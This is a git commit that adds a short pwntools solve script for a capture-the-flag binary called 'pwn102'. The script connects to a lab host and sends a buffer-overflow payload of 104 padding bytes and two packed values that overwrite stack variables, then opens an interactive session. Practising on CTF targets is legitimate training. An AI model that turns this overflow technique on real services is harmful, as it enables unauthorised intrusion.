solve script

This commit is contained in:
jc
2024-10-27 22:35:45 +03:00
parent 9713fcda8c
commit 5bdccf9a91
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./pwn102", checksec=False)
# r = process()
r = remote("10.10.110.117", 9002)
# funcs
s = lambda a: r.sendlineafter(b"? ", a)
# buf
buf = b"A"*104
buf += p32(0xc0d3)
buf += p32(0xc0ff33)
s(buf)
r.interactive()